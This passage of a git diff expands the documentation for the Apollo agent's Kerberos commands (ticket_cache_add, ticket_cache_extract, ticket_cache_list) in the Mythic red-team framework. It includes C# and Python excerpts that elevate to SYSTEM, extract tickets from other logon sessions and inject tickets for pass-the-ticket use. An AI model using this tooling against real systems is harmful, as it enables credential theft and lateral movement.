vs target privilege levels \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_add.md b/documentation-payload/apollo/commands/ticket_cache_add.md index 2828c229..ecacd266 100644 --- a/documentation-payload/apollo/commands/ticket_cache_add.md +++ b/documentation-payload/apollo/commands/ticket_cache_add.md @@ -6,31 +6,338 @@ hidden = false +++ {{% notice info %}} -Artifacts Generated: WindowsAPIInvoke +Artifacts Generated: WindowsAPIInvoke {{% /notice %}} ## Summary -Add the specified ticket(s) into the current logon session, this uses LSA APIs to load tickets into the active logon session on the host. +Adds Kerberos tickets to the current logon session's ticket cache using LSA APIs. Supports loading tickets from base64-encoded data or existing Mythic credential store entries. Can target specific logon sessions when executed from elevated context. +- **Needs Admin:** False (elevated context required for targeting specific LUIDs) +- **Version:** 2 +- **Author:** @drago-qcc ### Arguments +- **base64ticket** (String, Required for "Add New Ticket" group) - Base64-encoded Kerberos ticket +- **existingTicket** (Credential_JSON, Required for "Use Existing Ticket" group) - Existing ticket from Mythic credential store +- **luid** (String, Optional) - Target LUID for ticket loading (requires elevation) +## Usage +``` +ticket_cache_add {"base64ticket": "doIFXjCCBVqgAwIBBaEDAgEWooIEg..."} +ticket_cache_add {"existingTicket": {...}, "luid": "0x12345678"} +``` -#### b64ticket -the base64 ticket to add to the store +**Output:** +``` +client: user@DOMAIN.COM, service: krbtgt/DOMAIN.COM@DOMAIN.COM +``` +## Detailed Summary +### Agent Execution Flow +#### 1. Parameter Processing and Validation +```python +async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Require JSON blob, but got raw command line.") + self.load_args_from_json_string(self.command_line) +``` +- Requires JSON parameter format only +- Supports two parameter groups: "Add New Ticket" and "Use Existing Ticket" +- Validates JSON structure before processing -## Usage +#### 2. Ticket Source Resolution (Python) +```python +current_group_name = taskData.args.get_parameter_group_name() +if current_group_name == "Use Existing Ticket": + credentialData = taskData.args.get_arg("existingTicket") + taskData.args.remove_arg("existingTicket") + taskData.args.add_arg("base64ticket", credentialData["credential"], + parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) +``` +- Handles existing ticket selection from credential store +- Extracts credential data and converts to base64ticket parameter +- Maintains parameter group information for processing + +#### 3. Ticket Parsing and Credential Creation +```python +base64Ticket = taskData.args.get_arg("base64ticket") +ccache = CCache() +ccache.fromKRBCRED(base64.b64decode(base64Ticket)) + +formattedComment = f"Service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}\n" +formattedComment += f"Start: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['starttime']).isoformat()}\n" +formattedComment += f"End: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['endtime']).isoformat()}\n" +formattedComment += f"Renew: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['renew_till']).isoformat()}\n" + +if current_group_name == "Add New Ticket": + resp = await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( + TaskID=taskData.Task.ID, + Credentials=[ + MythicRPCCredentialData( + credential_type="ticket", + credential=taskData.args.get_arg("base64ticket"), + account=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8'), + realm=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8').split("@")[1], + comment=formattedComment, + ) + ] + )) +``` +- Uses Impacket CCache to parse Kerberos ticket structure +- Extracts client, server, and timing information +- Creates credential entry in Mythic for new tickets +- Formats detailed comment with ticket metadata + +#### 4. LSA Connection and Package Resolution (C#) +```csharp +// From KerberosHelpers.cs +private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true) +{ + HANDLE lsaHandle = new(); + if(Agent.GetIdentityManager().GetIntegrityLevel() is IntegrityLevel.HighIntegrity && elevateToSystem) + { + (elevated, _systemHandle) = Agent.GetIdentityManager().GetSystem(); + createdArtifacts.Add(Artifact.PrivilegeEscalation("SYSTEM")); + + if (elevated) + { + var originalUser = WindowsIdentity.Impersonate(_systemHandle); + WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); + originalUser.Undo(); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); + } + } + else + { + WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); + } + return lsaHandle; +} + +private static uint GetAuthPackage(HANDLE lsaHandle, HANDLE packageNameHandle) +{ + NTSTATUS lsaLookupStatus = WindowsAPI.LsaLookupAuthenticationPackageDelegate(lsaHandle, packageNameHandle, out uint authPackage); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaLookupAuthenticationPackage")); + if (lsaLookupStatus != NTSTATUS.STATUS_SUCCESS) + { + DebugHelp.DebugWriteLine($"Failed package lookup with error: {lsaLookupStatus}"); + return 0; + } + return authPackage; +} +``` +- Establishes LSA connection using `LsaConnectUntrusted` +- Elevates to SYSTEM for high integrity contexts +- Looks up Kerberos authentication package +- Generates appropriate artifacts for API calls + +#### 5. Ticket Loading Process +```csharp +// From KerberosHelpers.cs - LoadTicket method +internal static (bool, string) LoadTicket(byte[] submittedTicket, LUID targetLuid) +{ + var requestSize = Marshal.SizeOf(); + + KERB_SUBMIT_TKT_REQUEST request = new() + { + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage, + LogonId = targetLuid, + KerbCredSize = submittedTicket.Length, + KerbCredOffset = requestSize, + }; + + var ticketSize = submittedTicket.Length; + var requestPlusTicketSize = requestSize + ticketSize; + requestAndTicketHandle = new(Marshal.AllocHGlobal(requestPlusTicketSize)); + + Marshal.StructureToPtr(request, requestAndTicketHandle, false); + HANDLE requestEndAddress = new(new(requestAndTicketHandle.PtrLocation.ToInt64() + requestSize)); + Marshal.Copy(submittedTicket, 0, requestEndAddress.PtrLocation, ticketSize); + + var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndTicketHandle, requestPlusTicketSize, out returnBuffer, out uint returnLength, out NTSTATUS returnStatus); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); + + if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) + { + return (false, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); + } + return (true, ""); +} +``` +- Creates `KERB_SUBMIT_TKT_REQUEST` structure +- Allocates memory for request and ticket data +- Uses `LsaCallAuthenticationPackage` to submit ticket +- Handles memory management and cleanup + +#### 6. LUID Handling and Target Selection +```csharp +// From ticket loading logic +if(Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) +{ + targetLuid = new LUID(); +} +``` +- Uses current logon session LUID for non-elevated contexts +- Allows targeting specific LUID when elevated +- Validates integrity level before LUID targeting + +#### 7. Memory Management and Cleanup +```csharp +// From LoadTicket method +finally +{ + Marshal.FreeHGlobal(requestAndTicketHandle.PtrLocation); + WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); + WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); +} +``` +- Frees allocated memory for request structure +- Releases LSA return buffers +- Deregisters LSA logon process +- Ensures proper cleanup regardless of success/failure + +### Kerberos Ticket Structure + +#### KERB_SUBMIT_TKT_REQUEST Structure +```csharp +KERB_SUBMIT_TKT_REQUEST request = new() +{ + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage, + LogonId = targetLuid, + KerbCredSize = submittedTicket.Length, + KerbCredOffset = requestSize, +}; +``` +- **MessageType**: Specifies ticket submission operation +- **LogonId**: Target logon session identifier +- **KerbCredSize**: Size of ticket data in bytes +- **KerbCredOffset**: Offset to ticket data within request + +#### Ticket Metadata Extraction +```python +# Ticket information extracted by Impacket +client = ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8') +server = ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8') +starttime = datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['starttime']).isoformat() +endtime = datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['endtime']).isoformat() +renew_till = datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['renew_till']).isoformat() +``` + +### Error Handling + +#### LSA Operation Errors +```csharp +if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) +{ + return (false, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); +} ``` -ticket_cache_add -b64ticket [Value] +- Checks both API status and protocol status +- Converts NTSTATUS codes to Win32 error codes +- Provides detailed error information + +#### Connection Initialization Errors +```csharp +(HANDLE lsaHandle, uint authPackage, IEnumerable _, string error) = InitKerberosConnectionAndSessionInfo(false); +if(error != "") +{ + return (false, $"Failed to Initialize Kerberos Connection and Session Info\n{error}"); +} +``` +- Validates LSA connection establishment +- Handles authentication package lookup failures +- Provides specific error context + +### Integration Points + +#### TicketManager Integration +```csharp +// From KerberosTicketManager.cs +public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid) => + KerberosHelpers.LoadTicket(ticket, WinNTTypes.LUID.FromString(luid)); ``` +- Provides interface to KerberosHelpers functionality +- Handles LUID string conversion +- Maintains consistent API surface -Example +#### Mythic Credential Store Integration +```python +await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( + TaskID=taskData.Task.ID, + Credentials=[MythicRPCCredentialData( + credential_type="ticket", + credential=taskData.args.get_arg("base64ticket"), + account=client_name, + realm=realm_name, + comment=formatted_comment, + )] +)) ``` -ticket_cache_add -b64ticket [Value] +- Creates credential entries for loaded tickets +- Stores ticket metadata for future reference +- Enables ticket reuse across operations + +### Display Parameters + +#### Parameter Display Format +```python +response.DisplayParams = f" client: {ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8')}" +response.DisplayParams += f", service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}" +luid = taskData.args.get_arg("luid") +if luid is not None and luid != "": + response.DisplayParams += f" -luid {luid}" ``` +- Shows client and service principals +- Includes target LUID when specified +- Provides clear operation summary + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `LsaConnectUntrusted` | Connect to LSA | advapi32.dll | +| `LsaLookupAuthenticationPackage` | Get Kerberos auth package | advapi32.dll | +| `LsaCallAuthenticationPackage` | Submit ticket to LSA | advapi32.dll | +| `LsaFreeReturnBuffer` | Free LSA memory | advapi32.dll | +| `LsaDeregisterLogonProcess` | Close LSA connection | advapi32.dll | +| `LsaNtStatusToWinError` | Convert NTSTATUS to Win32 | advapi32.dll | +| `GetSystem` | Elevate to SYSTEM | Apollo IdentityManager | ## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file +- **T1550** - Use Alternate Authentication Material +- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket + +## Security Considerations +- **Ticket Injection**: Loads arbitrary Kerberos tickets into system cache +- **LSA Interaction**: Direct interaction with Local Security Authority +- **Privilege Requirements**: Elevated context needed for cross-session operations +- **Credential Storage**: Tickets stored in Mythic credential database +- **Session Targeting**: Can target specific logon sessions when elevated + +## Limitations +1. **JSON Format Only**: Requires JSON parameter format +2. **Elevation for LUID**: Targeting specific LUIDs requires elevated context +3. **Valid Tickets**: Only accepts properly formatted Kerberos tickets +4. **Memory Constraints**: Large tickets may cause memory allocation issues +5. **LSA Dependencies**: Requires functional LSA subsystem +6. **Session Access**: Limited to accessible logon sessions + +## Error Conditions +- **Invalid JSON**: Malformed JSON parameters +- **LSA Connection Failed**: Cannot connect to Local Security Authority +- **Package Lookup Failed**: Kerberos authentication package not found +- **Ticket Submit Failed**: LSA rejected ticket submission +- **Memory Allocation Failed**: Insufficient memory for ticket operations +- **Invalid Ticket Format**: Malformed or corrupted ticket data +- **Access Denied**: Insufficient privileges for target LUID + +## Best Practices +1. **Ticket Validation**: Verify ticket format before loading +2. **Error Monitoring**: Check for LSA operation failures +3. **Memory Management**: Monitor memory usage for large tickets +4. **Credential Tracking**: Use Mythic credential store for ticket management +5. **LUID Awareness**: Understand target session implications +6. **Privilege Context**: Ensure appropriate elevation for cross-session operations \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_extract.md b/documentation-payload/apollo/commands/ticket_cache_extract.md index d42d9f28..56e82100 100644 --- a/documentation-payload/apollo/commands/ticket_cache_extract.md +++ b/documentation-payload/apollo/commands/ticket_cache_extract.md @@ -10,30 +10,369 @@ Artifacts Generated: WindowsAPIInvoke {{% /notice %}} ## Summary -Extract the specified ticket(s) from the current logon session, this uses LSA APIs to extract a ticket from the active logon session on the host. -This includes all details and a base64 encoded copy of the ticket. -If ran from an elevated context this also can get a ticket from any session. +Extracts Kerberos tickets from the current or specified logon session using LSA APIs. Retrieves ticket details and encoded ticket data, then automatically creates credential entries in Mythic's credential store for extracted tickets. +- **Needs Admin:** False (elevated context required for targeting specific LUIDs) +- **Version:** 2 +- **Author:** @drago-qcc ### Arguments +- **service** (String, Required) - Service name to extract ticket for (e.g., "krbtgt" for TGT, "cifs", "host", "ldap") +- **luid** (String, Optional) - Target LUID for ticket extraction (requires elevation) +## Usage +``` +ticket_cache_extract {"service": "krbtgt"} +ticket_cache_extract {"service": "cifs", "luid": "0x12345678"} +ticket_cache_extract {"service": "ldap"} +``` -#### luid -Optional argument to extract a ticket from the cache of a different logon session, must be elevated. +**Output:** +``` +Added credential to Mythic for user@DOMAIN.COM +``` -#### Service -The name of the service to taget for example krbtgt for tgt, or one of the various service ticket types (ex. cifs, host, ldap, etc.) +## Detailed Summary -## Usage +### Agent Execution Flow + +#### 1. Parameter Processing and Validation +```python +async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Require JSON blob, but got raw command line.") + self.load_args_from_json_string(self.command_line) ``` -ticket_cache_extract -luid [luidValue] -service [service] +- Requires JSON parameter format only +- Validates service parameter is provided +- LUID parameter is optional for targeting specific sessions + +#### 2. Ticket Extraction Process (C#) +```csharp +// From KerberosHelpers.cs - ExtractTicket method +internal static (KerberosTicket?, string) ExtractTicket(LUID targetLuid, string targetName) +{ + targetName = targetName.Trim(); + (HANDLE lsaHandle, uint authPackage, IEnumerable _, string error) = InitKerberosConnectionAndSessionInfo(); + + if(Agent.GetIdentityManager().GetIntegrityLevel() is <= IntegrityLevel.MediumIntegrity) + { + DebugHelp.DebugWriteLine("Not high integrity, setting target luid to null"); + targetLuid = new LUID(); + } + + var ticket = GetTicketCache(lsaHandle, authPackage, targetLuid) + .FirstOrDefault(x => x.ServerName.Contains(targetName)); + + if(ticket is null) + { + return (null, $"Failed to find ticket for {targetName}"); + } +} ``` +- Trims service name parameter +- Initializes LSA connection and Kerberos authentication package +- Clears target LUID for non-elevated contexts +- Searches ticket cache for matching service name -Example +#### 3. LSA Connection and Package Resolution +```csharp +// From KerberosHelpers.cs +private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true) +{ + if(Agent.GetIdentityManager().GetIntegrityLevel() is IntegrityLevel.HighIntegrity && elevateToSystem) + { + (elevated, _systemHandle) = Agent.GetIdentityManager().GetSystem(); + createdArtifacts.Add(Artifact.PrivilegeEscalation("SYSTEM")); + + if (elevated) + { + var originalUser = WindowsIdentity.Impersonate(_systemHandle); + WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); + originalUser.Undo(); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); + } + } + else + { + WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); + } + return lsaHandle; +} ``` -ticket_cache_extract -luid 0xabcd -service cifs -ticket_cache_extract -service krbtgt +- Establishes LSA connection using `LsaConnectUntrusted` +- Elevates to SYSTEM for high integrity contexts when needed +- Looks up Kerberos authentication package +- Generates artifacts for API calls + +#### 4. Ticket Cache Enumeration +```csharp +// From KerberosHelpers.cs - GetTicketCache method +private static IEnumerable GetTicketCache(HANDLE lsaHandle, uint authPackage, LUID logonId) +{ + LUID UsedlogonId = logonId; + if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) + { + UsedlogonId = new LUID(); + } + + KERB_QUERY_TKT_CACHE_REQUEST request = new() + { + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage, + LogonId = UsedlogonId + }; + + var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestHandle, Marshal.SizeOf(request), out HANDLE returnBuffer, out uint returnLength, out NTSTATUS returnStatus); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); +} ``` +- Creates `KERB_QUERY_TKT_CACHE_REQUEST` structure +- Uses current session LUID for non-elevated contexts +- Calls `LsaCallAuthenticationPackage` to enumerate tickets +- Processes returned ticket information + +#### 5. Ticket Retrieval Process +```csharp +// From ExtractTicket method +KERB_RETRIEVE_TKT_REQUEST request = new() +{ + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage, + LogonId = targetLuid, + TargetName = new(ticket.ServerName), + TicketFlags = 0, + CacheOptions = KerbCacheOptions.KERB_RETRIEVE_TICKET_AS_KERB_CRED, + EncryptionType = 0 +}; + +var requestSize = Marshal.SizeOf(); +var targetNameSize = request.TargetName.MaximumLength; +var requestPlusNameSize = requestSize + targetNameSize; +HANDLE requestAndNameHandle = new(Marshal.AllocHGlobal(requestPlusNameSize)); + +Marshal.StructureToPtr(request, requestAndNameHandle, false); +HANDLE requestEndAddress = new(new(requestAndNameHandle.PtrLocation.ToInt64() + requestSize)); +WindowsAPI.RtlMoveMemoryDelegate(requestEndAddress, request.TargetName.Buffer, targetNameSize); +createdArtifacts.Add(Artifact.WindowsAPIInvoke("RtlMoveMemory")); + +Marshal.WriteIntPtr(requestAndNameHandle, IntPtr.Size == 8 ? 24 : 16, requestEndAddress); +``` +- Creates `KERB_RETRIEVE_TKT_REQUEST` for specific ticket retrieval +- Allocates memory for request structure and target name +- Uses `RtlMoveMemory` to copy target name data +- Updates structure pointers for proper memory layout + +#### 6. Ticket Data Extraction +```csharp +var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndNameHandle, requestPlusNameSize, out HANDLE returnBuffer, out uint returnLength, out NTSTATUS returnStatus); +createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); + +if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) +{ + return (null, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); +} + +var response = returnBuffer.CastTo(); + +if (response.Ticket.EncodedTicketSize == 0) +{ + WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); + return (null, "No ticket Data to extract"); +} + +ticket.Kirbi = new byte[response.Ticket.EncodedTicketSize]; +Marshal.Copy(response.Ticket.EncodedTicket, ticket.Kirbi, 0, (int)response.Ticket.EncodedTicketSize); +``` +- Retrieves encoded ticket data from LSA +- Validates ticket extraction success +- Copies ticket data to byte array +- Handles memory cleanup + +#### 7. Completion Function and Credential Processing +```python +async def parse_credentials(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID)) + + for output in responses.Responses: + try: + ticket_out = json.loads(str(output.Response)) + ccache = CCache() + ccache.fromKRBCRED(base64.b64decode(ticket_out['ticket'])) + + formattedComment = f"Service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}\n" + formattedComment += f"Start: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['starttime']).isoformat()}\n" + formattedComment += f"End: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['endtime']).isoformat()}\n" + formattedComment += f"Renew: {datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['renew_till']).isoformat()}\n" + + resp = await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( + TaskID=task.TaskData.Task.ID, + Credentials=[MythicRPCCredentialData( + credential_type="ticket", + credential=ticket_out['ticket'], + account=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8'), + realm=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8').split("@")[1], + comment=formattedComment, + )] + )) +``` +- Processes task responses containing extracted tickets +- Uses Impacket CCache to parse ticket structure +- Extracts metadata (service, timing, client information) +- Creates credential entries in Mythic credential store + +#### 8. Response Processing and Feedback +```python +if resp.Success: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=f"\nAdded credential to Mythic for {ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8')}".encode() + )) +else: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=f"\nFailed to add to Mythic's credential store:\n{resp.Error}".encode() + )) +``` +- Provides feedback on credential creation success/failure +- Shows client principal name for successful extractions +- Reports detailed error information for failures + +### Kerberos Structures and Operations + +#### KERB_QUERY_TKT_CACHE_REQUEST +```csharp +KERB_QUERY_TKT_CACHE_REQUEST request = new() +{ + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage, + LogonId = UsedlogonId +}; +``` +- **MessageType**: Specifies cache query operation +- **LogonId**: Target logon session (null for current session) + +#### KERB_RETRIEVE_TKT_REQUEST +```csharp +KERB_RETRIEVE_TKT_REQUEST request = new() +{ + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage, + LogonId = targetLuid, + TargetName = new(ticket.ServerName), + TicketFlags = 0, + CacheOptions = KerbCacheOptions.KERB_RETRIEVE_TICKET_AS_KERB_CRED, + EncryptionType = 0 +}; +``` +- **MessageType**: Specifies ticket retrieval operation +- **TargetName**: Service principal name to extract +- **CacheOptions**: Returns ticket as Kerberos credential + +### Error Handling + +#### LSA Operation Errors +```csharp +if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) +{ + return (null, $"Failed to submit ticket.\nLsaCallAuthentication returned {status} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(status)}) with protocolStatus {returnStatus} (0x{WindowsAPI.LsaNtStatusToWinErrorDelegate(returnStatus)})"); +} +``` +- Validates both API status and protocol status +- Converts NTSTATUS codes to Win32 error codes +- Provides detailed error context + +#### Ticket Search Failures +```csharp +if(ticket is null) +{ + return (null, $"Failed to find ticket for {targetName}"); +} +``` +- Handles cases where requested service ticket not found +- Provides specific error message with service name + +#### Memory and Resource Cleanup +```csharp +finally +{ + WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); + WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); +} +``` +- Ensures proper cleanup of LSA resources +- Frees return buffers and handles +- Generates artifacts for cleanup operations + +### Integration with TicketManager + +#### Interface Methods +```csharp +// From KerberosTicketManager.cs +public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName) => + KerberosHelpers.ExtractTicket(WinNTTypes.LUID.FromString(luid), serviceName); +``` +- Provides clean interface to extraction functionality +- Handles LUID string conversion +- Returns ticket object and error messages + +### Completion Function Integration + +#### Asynchronous Processing +```python +class ticket_cache_extractCommand(CommandBase): + completion_functions = {"parse_credentials": parse_credentials} + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + response.CompletionFunctionName = "parse_credentials" + return response +``` +- Registers completion function for post-processing +- Automatically processes extracted tickets +- Creates credential entries without additional operator action + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `LsaConnectUntrusted` | Connect to LSA | advapi32.dll | +| `LsaLookupAuthenticationPackage` | Get Kerberos auth package | advapi32.dll | +| `LsaCallAuthenticationPackage` | Query and retrieve tickets | advapi32.dll | +| `LsaFreeReturnBuffer` | Free LSA memory | advapi32.dll | +| `LsaDeregisterLogonProcess` | Close LSA connection | advapi32.dll | +| `RtlMoveMemory` | Copy memory for request structure | ntdll.dll | +| `LsaNtStatusToWinError` | Convert NTSTATUS to Win32 | advapi32.dll | ## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file +- **T1550** - Use Alternate Authentication Material +- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket + +## Security Considerations +- **Ticket Extraction**: Retrieves sensitive Kerberos authentication material +- **LSA Interaction**: Direct interaction with Local Security Authority +- **Credential Storage**: Extracted tickets stored in Mythic credential database +- **Cross-Session Access**: Can extract from other sessions when elevated +- **Memory Exposure**: Ticket data temporarily held in process memory + +## Limitations +1. **JSON Format Only**: Requires JSON parameter format +2. **Service Name Matching**: Uses substring matching for service names +3. **Elevation for LUID**: Cross-session extraction requires elevated context +4. **Ticket Availability**: Can only extract existing tickets from cache +5. **LSA Dependencies**: Requires functional LSA subsystem +6. **Session Access**: Limited to accessible logon sessions + +## Error Conditions +- **Invalid JSON**: Malformed JSON parameters +- **Service Not Found**: No ticket found for specified service name +- **LSA Connection Failed**: Cannot connect to Local Security Authority +- **Package Lookup Failed**: Kerberos authentication package not found +- **Ticket Retrieval Failed**: LSA failed to retrieve ticket data +- **No Ticket Data**: Ticket exists but contains no encoded data +- **Access Denied**: Insufficient privileges for target LUID +- **Memory Allocation Failed**: Cannot allocate memory for request structures + +## Best Practices +1. **Service Name Accuracy**: Use correct service principal names +2. **Session Targeting**: Understand LUID implications when elevated +3. **Error Monitoring**: Check for extraction and credential creation failures +4. **Credential Management**: Leverage automatic Mythic credential store integration +5. **Resource Awareness**: Monitor memory usage during extraction operations \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ticket_cache_list.md b/documentation-payload/apollo/commands/ticket_cache_list.md index 0f78dcaf..8b7234f0 100644 --- a/documentation-payload/apollo/commands/ticket_cache_list.md +++ b/documentation-payload/apollo/commands/ticket_cache_list.md @@ -10,27 +10,358 @@ Artifacts Generated: WindowsAPIInvoke {{% /notice %}} ## Summary -list information about all loaded tickets in the current active logon session. This uses lsa apis to return all relevant information about the tickets in the current session. -If ran from an elevated context this also gets information on tickets in all sessions. +Lists all Kerberos tickets in the current logon session using LSA APIs. When executed from an elevated context, can enumerate tickets from all logon sessions or target a specific session by LUID. Provides filtering options for system tickets. +- **Needs Admin:** False (elevated context enables cross-session enumeration) +- **Version:** 2 +- **Author:** @drago-qcc ### Arguments +- **luid** (String, Optional) - Target LUID to filter tickets (requires elevation) +- **getSystemTickets** (Boolean, Optional) - Include system context tickets (default: true) +## Usage +``` +ticket_cache_list {} +ticket_cache_list {"luid": "0x12345678"} +ticket_cache_list {"getSystemTickets": false} +ticket_cache_list {"luid": "0x12345678", "getSystemTickets": true} +``` -#### luid -Optional argument to filter the tickets in the agents store to ones matching a specified luid. +**Output:** +``` +Interactive table showing: +- Client Name +- Server Name +- Start Time +- End Time +- Encryption Type +- Ticket Flags +- LUID +``` +## Detailed Summary +### Agent Execution Flow -## Usage +#### 1. Parameter Processing and Validation +```python +async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Require JSON blob, but got raw command line.") + self.load_args_from_json_string(self.command_line) +``` +- Requires JSON parameter format only +- LUID parameter is optional for targeting specific sessions +- getSystemTickets parameter controls system ticket filtering + +#### 2. Display Parameter Configuration +```python +async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + getSystemTickets = taskData.args.get_arg("getSystemTickets") + luid = taskData.args.get_arg("luid") + response.DisplayParams += f" -getSystemTickets {getSystemTickets}" + if luid != "": + response.DisplayParams += f" -luid {luid}" +``` +- Shows getSystemTickets setting in display parameters +- Includes LUID in display when specified +- Provides clear operation summary + +#### 3. Ticket Enumeration Process (C#) +```csharp +// From KerberosHelpers.cs - TriageTickets method +internal static IEnumerable TriageTickets(bool getSystemTickets = false, string targetLuid = "") +{ + List allTickets = []; + (HANDLE lsaHandle, uint authPackage, IEnumerable logonSessions, string error) = InitKerberosConnectionAndSessionInfo(); + + if(lsaHandle.IsNull || authPackage == 0 || !logonSessions.Any() || error != "") + { + return allTickets; + } + + foreach (var logonSession in logonSessions) + { + if(!string.IsNullOrWhiteSpace(targetLuid) && logonSession.ToString() != targetLuid) + { + continue; + } + + var sessionData = GetLogonSessionData(new(logonSession)); + if (getSystemTickets is false && sessionData.Session is 0) + { + continue; + } + + var tickets = GetTicketCache(lsaHandle, authPackage, logonSession); + allTickets.AddRange(tickets); + } +} +``` +- Enumerates all logon sessions on the system +- Filters by target LUID when specified +- Applies system ticket filtering based on session ID +- Aggregates tickets from all matching sessions + +#### 4. LSA Connection and Session Enumeration +```csharp +// From KerberosHelpers.cs +private static IEnumerable GetLogonSessions() +{ + List logonIds = []; + WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions")); + + var logonWorkingHandle = logonIdHandle; + for (var i = 0; i < logonCount; i++) + { + var logonId = 